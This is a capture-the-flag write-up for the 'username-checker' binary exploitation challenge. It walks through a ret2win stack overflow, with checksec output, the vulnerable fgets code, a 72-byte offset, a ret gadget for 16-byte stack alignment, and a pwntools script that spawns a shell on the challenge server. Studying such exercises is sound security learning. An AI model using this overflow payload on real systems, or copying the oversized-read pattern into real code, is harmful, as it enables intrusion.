Binary Exploitation easy

username-checker

Osu CTF · 2025 · Sep 1, 2025

ret2win with a stack-alignment twist — hop through a single ret gadget before calling win() so system() sees a 16-byte-aligned stack.

Recon

$ checksec --file=./checker
RELRO: Partial   Canary: No   NX: on   PIE: No PIE
char local_48[44];

void check_username(void) {
  printf("please enter a username you want to check: ");
  fgets(local_48, 0x80, stdin);           // 44-byte buffer, up to 0x7f bytes
  if (strcmp(local_48, "super_secret_username") == 0)
      win();
}

void win(void) {
  puts("how did you get here?");
  system("/bin/sh");
}

Vulnerability: classic fgets overflow, no canary, no PIE. Just overwrite saved RIP with win().

Offset

Cyclic pattern → saved RIP overwritten at 72 bytes.

Alignment gotcha

On modern glibc, the SysV AMD64 ABI requires %rsp to be 16-byte aligned at libc call sites. Jumping straight at win can misalign the stack and make system crash. Fix: hop through a single ret gadget first to pop 8 bytes.

RET = 0x40101a     # any 1-instruction 'ret' in .text
WIN = 0x401236

Solve

from pwn import *

io = remote("username-checker.challs.sekai.team", 1337)
io.recvuntil(b"please enter a username you want to check: ")

payload  = b"A" * 72
payload += p64(0x40101a)   # ret (alignment)
payload += p64(0x401236)   # win
payload += b"\n"

io.send(payload)
io.interactive()

Takeaways

  • No PIE makes ret2win trivial.
  • Always align the stack to 16 bytes before libc call sites.